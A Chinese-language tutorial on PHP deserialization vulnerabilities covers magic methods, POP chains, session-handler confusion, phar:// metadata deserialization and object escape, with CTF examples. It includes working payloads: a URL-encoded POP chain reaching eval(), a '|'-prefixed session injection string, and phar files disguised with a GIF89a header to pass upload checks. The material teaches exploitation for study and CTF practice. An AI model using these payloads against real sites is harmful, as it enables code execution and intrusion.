0%

浅谈反序列化漏洞

参考:

一篇文章带你深入理解漏洞之 PHP 反序列化漏洞

php反序列化从入门到放弃(入门篇)

带你走进PHP session反序列化漏洞

大部分内容参考自《php反序列化从入门到放弃(入门篇)》,强烈建议前往原blog参观

序列化与反序列化

PHP序列化

序列化 (Serialization)是将对象的状态信息转换为可以存储或传输的形式的过程,PHP中使用serialize()进行序列化

实例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
class test
{
private $flag = 'Inactive';
protected $test = "test";
public $test1 = "test1";

public function set_flag($flag){
$this->flag = $flag;
}
public function get_flag(){
return $this->flag;
}
}

$object = new test();
$object->set_flag('flag');
$data = serialize($object);
echo $data;
?>
1
2
3
4
5
6
7
O: 代表这是一个对象
4: 对象名占4个字符
"test": 对象名
3: 该对象有3个属性

s:10:" test flag":属性名
s:4:"flag":属性值

序列化格式中的字母含义:

1
2
3
4
5
6
a - array                    b - boolean  
d - double i - integer
o - common object r - reference
s - string C - custom object
O - class N - null
R - pointer reference U - unicode string

此处属性名的变化涉及到PHP的属性访问权限问题,修改代码,将序列化结果保存

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
class test
{
private $flag = 'Inactive';
protected $test = "test";
public $test1 = "test1";

public function set_flag($flag){
$this->flag = $flag;
}
public function get_flag(){
return $this->flag;
}
}

$object = new test();
$object->set_flag('flag');
$data = serialize($object);
echo $data;
file_put_contents("serialize.txt", $data);
?>

在010Editor中观察16进制结果

其私有属性的构成为 %00类名%00属性名

其保护属性的构成为 %00*%00属性名

由此,php序列化的两个重要点

1. 对private、protected、public属性的序列化方式

2. 对类进行序列化操作时,只序列化属性,不序列化方法

PHP反序列化

与序列化相对的是反序列化,它将流转换为对象

实例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
class test
{
private $flag = 'Inactive';
protected $test = "test";
public $test1 = "test1";

public function set_flag($flag){
$this->flag = $flag;
}
public function get_flag(){
return $this->flag;
}
}

$data = file_get_contents('serialize.txt');
$data = unserialize($data);
echo $data->test1."<br>";
echo $data->get_flag();

?>

serialize.txt里的内容是

1
O:4:"test":3:{s:10:" test flag";s:4:"flag";s:7:" * test";s:4:"test";s:5:"test1";s:5:"test1";}

但如果在传输过程中serialize的内容被修改

1
O:4:"test":3:{s:10:" test flag";s:13:"You're hacked";s:7:" * test";s:4:"test";s:5:"test1";s:5:"test1";}

注:此处需要对16进制的文件进行修改

PHP反序列化漏洞

常见的php系列化和反系列化方式主要有:serialize,unserialize;json_encode,json_decode。

概念解释

将用户可控的数据进行了反序列化,就是PHP反序列化漏洞

反序列化漏洞的成因在于代码中的 unserialize() 接收的参数可控,从上面的例子看,这个函数的参数是一个序列化的对象,而序列化的对象只含有对象的属性,那我们就要利用对对象属性的篡改实现最终的攻击。

魔法方法

为什么被称为魔法方法呢?因为是在触发了某个事件之前或之后,魔法函数会自动调用执行,而其他的普通函数必须手动调用才可以执行。PHP 将所有以 __(两个下划线)开头的类方法保留为魔术方法。

1
2
3
4
5
6
__construct():   当对象创建时会自动调用(但在unserialize()时是不会自动调用的)。
__wakeup(): unserialize()时会自动调用
__destruct(): 当对象被销毁时会自动调用
__toString(): 当反序列化后的对象被输出在模板中的时候(转换成字符串的时候)自动调用
__get(): 当从不可访问的属性读取数据
__call(): 在对象上下文中调用不可访问的方法时触发

__toString 触发的条件比较多,也因为这个原因容易被忽略,常见的触发条件有下面几种

  1. echo ($obj) / print($obj) 打印时会触发
  2. 反序列化对象与字符串连接时
  3. 反序列化对象参与格式化字符串时
  4. 反序列化对象与字符串进行 == 比较时(PHP进行 == 比较的时候会转换参数类型)
  5. 反序列化对象参与格式化SQL语句,绑定参数时
  6. 反序列化对象在经过php字符串函数,如 strlen()、addslashes()时
  7. 在in_array()方法中,第一个参数是反序列化对象,第二个参数的数组中有toString返回的字符串的时候toString会被调用
  8. 反序列化的对象作为 class_exists() 的参数的时候

实例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php    
class animal {
private $name = 'cai';
public function sleep(){
echo "<hr>";
echo $this->name . " is sleeping...\n";
}
public function __wakeup(){
echo "<hr>";
echo "调用了__wakeup()方法\n";
}
public function __construct(){
echo "<hr>";
echo "调用了__construct()方法\n";
}
public function __destruct(){
echo "<hr>";
echo "调用了__destruct()方法\n";
}
public function __toString(){
echo "<hr>";
echo "调用了__toString()方法\n";
}
public function __set($key, $value){
echo "<hr>";
echo "调用了__set()方法\n";
}
public function __get($key) {
echo "<hr>";
echo "调用了__get()方法\n";
}
}
$ji = new animal();
$ji->name = 1;
echo $ji->name;
$ji->sleep();
$ser_ji = serialize($ji);
//print_r($ser_ji);
print_r(unserialize($ser_ji));
?>

漏洞实例

[ZJCTF 2019]NiZhuanSiWei

首先利用php伪协议与文件包含漏洞获取useless.php

useless.php文件中使用了魔术方法__tostring()方法,当一个对象被当作一个字符串被调用时即可触发,方法的主要作用是读取并打印传进来的$file,估计是通过反序列化漏洞来读取flag.php的内容。追踪以下调用链,在index.php文件中发现使用echo将反序列化的对象当作字符串打印,此处就会触发__tostring()方法,并且unserialize()内的变量可控,满足反序列化漏洞条件

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class Flag{
//flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>

最后构造反序列化对象

最后flag在源码中

PHP反序列化利用—POP链构造

上面的例子是基于 “ 自动调用 “ 的magic function。但当漏洞/危险代码存在类的普通方法中,就不能指望通过 “ 自动调用 “ 来达到目的了。这时我们需要去寻找相同的函数名,把敏感函数和类联系在一起。一般来说在代码审计的时候我们都要盯紧这些敏感函数的,层层递进,最终去构造出一个有杀伤力的payload。

POP链简介

POP 面向属性编程(Property-Oriented Programing)

常用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-Oriented Programing)的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链,最终达到攻击者邪恶的目的。类似于PWN中的ROP,有时候反序列化一个对象时,由它调用的__wakeup()中又去调用了其他的对象,由此可以溯源而上,利用一次次的 “ gadget “ 找到漏洞点。

POP CHAIN

把魔术方法作为最开始的小组件,然后在魔术方法中调用其他函数(小组件),通过寻找相同名字的函数,再与类中的敏感函数和属性相关联,就是POP CHAIN 。此时类中所有的敏感属性都属于可控的。当unserialize()传入的参数可控,便可以通过反序列化漏洞控制POP CHAIN达到利用特定漏洞的效果。

POP链利用技巧

常用方法

1
2
3
- 命令执行:exec()、passthru()、popen()、system()
- 文件操作:file_put_contents()、file_get_contents()、unlink()
- 代码执行:eval()、assert()、call_user_func()

反序列化中为了避免信息丢失,使用大写S支持字符串的编码

PHP 为了更加方便进行反序列化 Payload 的 传输与显示(避免丢失某些控制字符等信息),我们可以在序列化内容中用大写S表示字符串,此时这个字符串就支持将后面的字符串用16进制表示,使用如下形式即可绕过,即:

1
s:4:"user"; -> S:4:"use\72";

深浅copy

在php中如果我们使用 & 对变量A的值指向变量B,这个时候是属于浅拷贝,当变量B改变时,变量A也会跟着改变。在被反序列化的对象的某些变量被过滤了,但是其他变量可控的情况下,就可以利用浅拷贝来绕过过滤

1
$A = &$B; 

php伪协议

配合PHP伪协议实现文件包含、命令执行等漏洞。如glob:// 伪协议查找匹配的文件路径模式

实例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
class main {
protected $ClassObj;
function __construct() {
$this->ClassObj = new normal();
}
function __destruct() {
$this->ClassObj->action();
}
}
class normal {
function action() {
echo "hello world";
}
}
class evil {
private $data;
function action() {
eval($this->data);
}
}
//$a = new main();
unserialize($_GET['a']);
?>

如上代码,危险的命令执行方法eval不在魔术方法中,在evil类中。但是魔术方法 __construct() 是调用normal类,__destruct() 在程序结束时会去调用normal类中的action()方法。而我们最终的目的是去调用evil类中的action()方法,并伪造evil类中的变量 $data ,达成任意代码执行的目的。这样的话可以尝试去构造POP利用链,让魔术方法 __construct() 去调用evil这个类,并且给变量 $data 赋予恶意代码,比如php探针phpinfo(),这样就相当于执行 <?php eval("phpinfo();")?>

编写我们想要执行的效果,然后进行序列化。

但是由于$ClassObj是protected类型修饰,$data 是private类型修饰,在序列化的时候,多出来的字节都被\x00填充,需要进行在代码中使用urlencode对序列化后字符串进行编码,否则无法复制解析。

最后payload为:

1
O%3A4%3A%22main%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00ClassObj%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A10%3A%22%00evil%00data%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D

PHP Session 反序列化

PHP Session

Session一般称为“会话控制“,简单来说就是是一种客户与网站/服务器更为安全的对话方式。一旦开启了 session 会话,便可以在网站的任何页面使用或保持这个会话,从而让访问者与网站之间建立了一种“对话”机制。不同语言的会话机制可能有所不同,这里仅讨论PHP session机制。

PHP session可以看做是一个特殊的变量,且该变量是用于存储关于用户会话的信息,或者更改用户会话的设置,需要注意的是,PHP Session 变量存储单一用户的信息,并且对于应用程序中的所有页面都是可用的,且其对应的具体 session 值会存储于服务器端,这也是与 cookie的主要区别,所以seesion 的安全性相对较高。

session请求过程

当第一次访问网站时,Seesion_start()函数就会创建一个唯一的Session ID,并自动通过HTTP的响应头,将这个Session ID保存到客户端Cookie中。同时,也在服务器端创建一个以Session ID命名的文件,用于保存这个用户的会话信息。当同一个用户再次访问这个网站时,也会自动通过HTTP的请求头将Cookie中保存的Seesion ID再携带过来,这时Session_start()函数就不会再去分配一个新的Session ID,而是在服务器的硬盘中去寻找和这个Session ID同名的Session文件,将这之前为这个用户保存的会话信息读出,在当前脚本中应用,达到跟踪这个用户的目的。

session_start的作用

当会话自动开始或者通过 session_start() 手动开始的时候, PHP 内部会依据客户端传来的PHPSESSID来获取现有的对应的会话数据(即session文件), PHP 会自动反序列化session文件的内容,并将之填充到 $_SESSION 超级全局变量中。如果不存在对应的会话数据,则创建名为sess_PHPSESSID(客户端传来的)的文件。如果客户端未发送PHPSESSID,则创建一个由32个字母组成的PHPSESSID,并返回set-cookie。

Session 存储

PHP中的Session中的内容并不是放在内存中的,而是以文件的方式来存储的,存储方式就是由配置项session.save_handler来进行确定的,默认是以文件的方式存储。存储的文件是以sess_sessionid来进行命名的,文件的内容就是Session值的序列化之后的内容。

先来大概了解一下PHP Session在php.ini中主要存在以下配置项:

Directive 含义
session.save_handler 设定用户自定义session存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)。默认为files
session.save_path 设置session的存储路径,默认在/tmp
session.serialize_handler 定义用来序列化/反序列化的处理器名字。默认使用php。
session.auto_start 指定会话模块是否在请求开始时启动一个会话,默认为0不启动
session.upload_progress.enabed 将上传文件的进度信息存储在session中。默认开启
session.upload_progress.cleanup 一旦读取了所有的POST数据,立即清除进度信息。默认开启

注:在PHP5.2.17里好像没有一些设置

在PHP中Session有三种序列化的方式,分别是php,php_serialize,php_binary,不同的引擎所对应的Session的存储的方式不同

存储引擎 存储方式
php_binary 键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数序列化处理的值
php 键名 + 竖线 + 经过 serialize() 函数序列处理的值
php_serialize (PHP>5.5.4) 经过 serialize() 函数序列化处理的数组

php处理器

session文件为

键名+|+经过反序列化的值

php_serialize处理器

session文件为
经过反序列化的值

php_binary

session文件为

键名长度对应的 ASCII 字符 + 键名 + 经过序列化的值

Session 反序列化漏洞

PHP在session存储和读取时,都会有一个序列化和反序列化的过程,PHP内置了多种处理器用于存取 $_SESSION 数据,都会对数据进行序列化和反序列化,PHP中的Session的实现是没有的问题的,漏洞主要是由于使用不同的引擎来处理session文件造成的。

php引擎存储Session的格式为

存储引擎 存储方式
php 键名 + 竖线 + 经过 serialize() 函数序列处理的值
php_serialize (PHP>5.5.4) 经过 serialize() 函数序列化处理的数组

如果程序使用两个引擎来分别处理的话就会出现问题。比如下面的例子,先使用php_serialize引擎来存储Session:

Session1.php

1
2
3
4
5
6
7
8
9
<?php
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['user'] = $_GET['user'];
echo "<pre>";
var_dump($_SESSION);
echo "</pre>";
?>

接下来使用php引擎来读取Session文件

Session2.php

1
2
3
4
5
6
7
8
9
10
11
12
<?php
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
class user{
var $name;
var $age;
function __wakeup(){
echo "hello ".$this->name." !";
}
}
?>

漏洞的主要原因在于不同的引擎对于竖杠’ | ‘的解析产生歧义。

对于php_serialize引擎来说’ | ‘可能只是一个正常的字符;但对于php引擎来说’ | ‘就是分隔符,前面是$_SESSION[‘user’]的键名 ,后面是GET参数经过serialize序列化后的值。从而在解析的时候造成了歧义,导致其在解析Session文件时直接对’ | ‘后的值进行反序列化处理。

可以看到PHP能自动反序列化数据的前提是,现有的会话数据是以特殊的序列化格式存储

payload:

1
2
3
4
5
6
7
8
9
10
11
<?php
class user{
var $name;
var $age;
}
$a = new user();
$a->name = "scerush";
$a->age = "666";
echo serialize($a);
?>
//O:4:"user":2:{s:4:"name";s:7:"scerush";s:3:"age";s:3:"666";}

如上生成的payload如果想利用php引擎读取Session文件时对’ | ‘解析产生的反序列化漏洞,需要在payload前加个’ | ‘,这个时候经过php_serialize引擎存储就会变成:

二当使用php处理器处理此session时

1
a:1:{s:4:"user";s:61:"|O:4:"user":2:{s:4:"name";s:7:"scerush";s:3:"age";s:3:"666";}";}| 此部分作为session的key|              此部分经过反序列化后作为session的值                  |

phar:// 伪协议造成的反序列化

phar介绍

简单来说phar就是php压缩文档。它可以把多个文件归档到同一个文件中,而且不经过解压就能被 php 访问并执行,与file:// php://等类似,也是一种流包装器。

phar结构由 4 部分组成

  • stub phar 文件标识,格式为 xxx<?php xxx; __HALT_COMPILER();?>;
  • manifest 压缩文件的属性等信息,以序列化存储;
  • contents 压缩文件的内容;
  • signature 签名,放在文件末尾;

这里有两个关键点,一是文件标识,必须以 __HALT_COMPILER();?> 结尾,但前面的内容没有限制,也就是说我们可以轻易伪造一个图片文件或者 pdf 文件来绕过一些上传限制;二是反序列化,phar存储的meta-data信息以序列化方式存储,当文件操作函数通过 phar:// 伪协议解析 phar 文件时就会将数据反序列化,而这样的文件操作函数有很多,包括下面这些:

图源:https://paper.seebug.org/680/

构造有序列化的phar文件

本地生成一个phar文件,要想使用Phar类里的方法,必须将php.ini文件中的phar.readonly配置项配置为0或Off(默认为On)

PHP内置phar类,其中的一些方法如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//实例一个phar对象供后续操作
$phar = new Phar('test.phar');

//开始缓冲Phar写操作
$phar->startBuffering();

//设置stub
$phar->setStub("<?php __HALT_COMPILER(); ?>");

//以字符串的形式添加一个文件到 phar 档案
$phar->addFromString('test.php','<?php echo 'this is test file';');

//把一个fileTophar目录下的文件归档到phar档案
$phar->buildFromDirectory('fileTophar');

//该函数解压一个phar包,extractTo()提取phar文档内容
$phar->extractTo();

生成phar文件的代码如下:

phar.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
//反序列化payload构造
class TestObject {
}
@unlink("phar.phar");
//实例一个phar对象供后续操作,后缀名必须为phar
$phar = new Phar("phar.phar");
//开始缓冲对phar的写操作
$phar->startBuffering();
/*设置识别phar拓展的标识stub,必须以 __HALT_COMPILER(); ?> 结尾*/
$phar->setStub("<?php __HALT_COMPILER(); ?>");
//将反序列化的对象放入该文件中
$o = new TestObject();
$o->data='Hello World';
//将自定义的归档元数据meta-data存入manifest
$phar->setMetadata($o);
//phar本质上是个压缩包,所以要添加压缩的文件和文件内容
$phar->addFromString("test.txt", "scerush");
//停止缓冲对phar的写操作
$phar->stopBuffering();
?>

运行代码会生成一个phar.phar文件在当前目录下,使用010Editor打开

可以明显的看到meta-data是以序列化的形式存储的,有序列化数据必然会有反序列化操作,php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,除了之前提及的相关函数,还有常用的文件包含的几个函数 include、include_once、requrie、require_once

对刚才生成的phar使用文件操作函数实现反序列化读取:

1
2
3
4
5
6
7
8
9
<?php
class TestObject{
function __destruct(){
echo $this->data;
}
}
$filename = "phar://phar.phar/test.txt";
file_get_contents($filename);
?>

成功对meta-data里面的数据进行反序列化输出

将phar文件伪造成其它格式的文件

在前面分析phar的文件结构时可能会注意到,php识别phar文件是通过其文件头的stub,更确切一点来说是 __HALT_COMPILER();?> 这段代码,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class TestObject {
}
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
//设置stub,增加gif文件头
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$o = new TestObject();
$o->data = 'Hello World';
//将自定义meta-data存入manifest
$phar->setMetadata($o);
//添加要压缩的文件
$phar->addFromString("test.txt", "test");
//签名自动计算
$phar->stopBuffering();
?>

采用这种方法可以绕过一些通过校验文件头的上传点

CTF实例

[SWPUCTF 2018]SimplePHP

PHP反序列化对象逃逸

在php中,反序列化的过程中必须严格按照序列化规则才能成功实现反序列化,例如:

1
2
3
4
<?php
$str='a:2:{i:0;s:7:"scerush";i:1;s:4:"1234";}';
var_dump(unserialize($str));
?>

反序列化按照一定的序列化规则,但是有一定的识别范围,在这个范围之外(花括号}之后)的字符都会被忽略,不影响反序列化的正常进行

比如在$str结尾的花括号后增加一些字符:

1
2
3
4
<?php
$str='a:2:{i:0;s:7:"scerush";i:1;s:4:"1234";}123456';
var_dump(unserialize($str));
?>

逃逸原理

1
2
3
4
5
6
<?php
$_SESSION["user"]='flagflagflagflagflagflag';
$_SESSION["function"]='a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}';
$_SESSION["img"]='L2QwZzNfZmxsbGxsbGFn';
echo serialize($_SESSION);
?>

得到的序列化字段为:

1
a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

这里如果增加了过滤机制,会将flag字段替换为空,那么上面序列化字符串过滤结果为:

1
a:3{s:4:"user";s:24:"";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

如果将上面过滤之后的字符串进行反序列化,会不会报错呢?

1
2
3
4
5
6
7
8
9
10
<?php
$_SESSION["user"]='flagflagflagflagflagflag';
$_SESSION["function"]='a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}';
$_SESSION["img"]='L2QwZzNfZmxsbGxsbGFn';
$ser = serialize($_SESSION);
var_dump(unserialize($ser));
echo "-----------------------\n";
$filter = preg_replace("/flag/i",'',$ser);
var_dump(unserialize($filter));
?>

打印出了过滤前与过滤后的反序列化字符串,对比就可以发现当把flag过滤之后,string(24)规定需要24个字符,为了满足反序列化的规则,会向后读取字符,直至凑齐24个字符,也就是读取”;s:8“function”;s:59:”a,当凑齐24个字符后以 “; 结尾。之后[“img”]就按照string(20)读取20个字符,[“dd”]按照string(1)读取一个字符,剩余的字符就直接被忽略,不影响正常的反序列化过程。

写成数组的形式为:

1
2
3
$_SESSION["user"]='";s:8:"function";s:59:"a';
$_SESSION["img"]='ZDBnM19mMWFnLnBocA==';
$_SESSION["dd"]='a';

看完上面的例子,发现本来想读取的内容是 $_SESSION["img"] 的值为:L2QwZzNfZmxsbGxsbGFn ,但是由于过滤掉了flag,string(24)位数不够往后读取,就把 $_SESSION["function"] 的值的前24位存放在 $_SESSION["user"] 中,把 $_SESSION["funcion"] 的值的后20为存放在 $_SESSION["img"] 中,导致 ZDBnM19mMWFnLnBocA== 代替了 $_SESSION["img"] 对应的原本的值。而识别完成后序列化最后面的 ";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";} 被忽略掉了,不影响正常的反序列化过程。

可以看到本例中 $_SESSION["img"] 对应的值发生了变化。这样的话岂不是可以做到”隔山打牛”,如果我们能够控制原来 $_SESSION 数组的funcion的值,但无法控制img的值,我们就可以通过这种方式间接控制到img对应的值

CTF实例

[安洵杯 2019]easy_serialize_php